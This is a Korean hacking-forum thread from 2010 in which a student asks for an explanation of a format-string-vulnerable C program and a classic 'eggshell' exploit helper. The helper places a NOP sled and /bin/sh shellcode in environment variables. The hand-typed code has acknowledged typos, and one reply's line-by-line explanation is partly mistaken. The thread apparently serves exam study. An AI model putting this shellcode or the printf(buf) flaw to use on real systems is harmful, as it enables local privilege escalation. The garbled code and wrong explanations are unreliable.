시스템 해킹

 1574, 72/79 회원가입  로그인  
   bluesun2
   소스 해석좀 부탁드립니다 (언어를 배운적이없어서 시험인데..)

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1451 [복사]


버그파일과 에그파일 소스해석좀 부탁드립니다

bugfile.c
#include <stdio.h>

main() {

int i =0;
char buf[ 64];
memset (buf, 0, 64);
read(0, buf, 64);
printf(buf);
}

egg.c (장문입니다 손으로 쳐서 오타가있을수도)

#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

char shellcode[] =

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80"
"\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
"\x00\xc9\xc3\x90/bin/sh";

unnsigned long get_esp (void) {

__asm__("movl %esp, %eax")

main (int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi (argv[ 1]);
if (argc > 2) offset = atoi (argv[ 2]);
if (argc > 3) eggsize = atoi (argv[ 3]);
if (!(buff = malloc(bsize))) {
printf ("can't allocate memory.\n");
exit (0);
}

if (!(egg = malloc(eggsize))) {
printf("can't allocate memory.\n");
exit (0);
}

addr = get_esp() - offset;
printf("using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)
*(addr_ptr++_ = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen (shellcode) - 1; i++)
* (ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[ i];
buff[bsize - 1] = '\0';
egg[ eggsize - 1] = '\0';
memcpy (egg, "EGG=", 4);
putenv (egg);
memcpy (buff, "RET=", 4);
putenv (buff);
system("/bin/bash");
}
  Hit : 3367     Date : 2010/12/13 05:49


    
바볼이 위에껀 간단히 버퍼를 0으로 초기화한후, 입력을 받아서 그대로 출력하는 프로그램이네요
포맷 스트링 버그문제인가보네요

밑에껀
쉘코드를 환경변수에 올려놓고 또 그 환경변수의 주소도 환경변수에 올려놓는 프로그램입니다		 2010/12/17  
sweetick 지금 신기한건 배운적이 없는걸 시험으로 내는 학교가 있다는 사실. 2011/01/16  
rkdgh0112 일반적인 쉘코드긴한데..
이걸진짜 가르쳐주지도않고 시험에내나요		 2011/02/11  
rkdgh0112 쉘코드 공부는 안해봤는데
그냥 제 나름대로의 해석을 보여드릴꼐요
쉬운건 건너뛰고 약간 헷갈리다 싶은거나 중요한거

unnsigned long get_esp (void) { // get_esp 라는 유저함수의 전역선언입니다.

__asm__("movl %esp, %eax") //.. %esp에 %eax값을 주는걸로보이네요

main (int argc, char *argv[]) { //메인함수의 원형 선언
char *buff, *ptr, *egg; // buff, ptr,egg 변수들의 char형 포인터 설정
char 형으로 설정하는이유 = 포인터는 메모리주소기때문에 16진수의 숫자열과 문자열로 표현된다.
long *addr_ptr, addr; // long 형의 addr 변수선언과 그의 포인터 선언
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; // offset이라는 변수를 default로 설정, bsize라는 변수를 default로 설정
int i, eggsize=DEFAULT_EGG_SIZE; // i라는 변수선언과 eggsize선언 동시에 eggsize를 default_egg_size로 함

밑에줄 하기전에,
if 문, else if, else모두 실행문이 한개일경우에 중괄호를 제외할수있음
if (argc > 1) bsize = atoi (argv[ 1]);
if (argc > 2) offset = atoi (argv[ 2]);
if (argc > 3) eggsize = atoi (argv[ 3]);
if (!(buff = malloc(bsize))) {
printf ("can't allocate memory.\n");
exit (0);
}
즉 이건 입력한 인자의 개수가 각각 1개, 2개, 3개일때 의 상황들을 중첩해 사용한것입니다.
결국 입력한 인자의 개수가 1이상이면 2개이상인지보고 3개이상인지봐서
마지막에 malloc(bsize)
즉 bsize에 할당된 메모리스택과 buff의 값이 같지않을경우,
can't allocate momory 라는 에러문이 발생하도록 해놓은것이죠.
그리고 함수의끝에선 0을반환합니다.

if (!(egg = malloc(eggsize))) {
printf("can't allocate memory.\n");
exit (0);
}
또한 egg가 eggsize에 할당된 스택메모리와 같지않으면
위의 에러문이 또 나오구요.

addr = get_esp() - offset;
printf("using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;


for (i = 0; i < bsize; i+=4)
*(addr_ptr++_ = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen (shellcode) - 1; i++)
* (ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[ i];
buff[bsize - 1] = '\0';
egg[ eggsize - 1] = '\0';
memcpy (egg, "EGG=", 4);
putenv (egg);
memcpy (buff, "RET=", 4);
putenv (buff);
system("/bin/bash");
}		 2011/02/11  
rkdgh0112 addr = get_esp() - offset
부분부터는 내일작성할꼐요..
엄마가 자라고 성화에요 ㅋㅋ..

틀린거있으면 무조건 지적해주시구요


결국 프로그램의 종착점은 쉘 실행입니다.		 2011/02/11  
154   컴퓨터가 이상해요(필답부탁!!)[3]     bluiz
 12/15 3324
153   xp에서 부팅디스크없이 도스모드로 갈수있나여?[1]     bluiz
 12/16 7383
152   리눅스 포맷스트링공격 질문 입니다 (대학교 과제인데 도와주세요 ㅠㅠ)[2]     bluesun2
 12/07 4433
151   포맷 스트링 리턴어드레스값 질문 ㅠㅠ[2]     bluesun2
 12/08 3295
  소스 해석좀 부탁드립니다 (언어를 배운적이없어서 시험인데..)[5]     bluesun2
 12/13 3366
149   해외에 있는 아들녀석의 컴 모니터링[4]     bluecrater
 03/01 4440
148   질문입니다 ^^[3]     blueavis
 11/09 3992
147   API관련 함수 질문 입니다.. [1]     BLu2Scr22n
 02/05 3250
146   넷버스에관한건데여.[1]     blrck
 07/18 4345
145   질문있습니다~     blgf6190
 04/24 3012
144   egghunter 관련 bof문제에대해 질문입니다[1]     blacksheep
 05/22 3694
143   아이디 비번 해킹 가능?[2]     blackalleycat
 08/05 16542
142   해킹에 대해질문요~ ㅎ[1]     BkeMan
 12/14 3395
141   넷봇만들기점 가르켜주세요~     BkeMan
 11/14 5080
140   리눅스에 대해 전문적으로 가르켜주세요~[11]     BkeMan
 11/14 3326
139   서버에 어떻게 접속하여 볼수있나요?[1]     BkeMan
 11/14 3410
138   C언어 책 추천점 해주세요~[3]     BkeMan
 11/14 3274
137   ftz 에 대해서 가르켜주세요~[1]     BkeMan
 11/14 3276
136   책가게에서 해킹책을 파나요?[7]     BkeMan
 11/14 4411
135   다른지역에 있는 사람의 아이피를 알고싶을라면 어떻게 하나요?[13]     BkeMan
 11/14 3971
[1]..[71] 72 [73][74][75][76][77][78][79]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org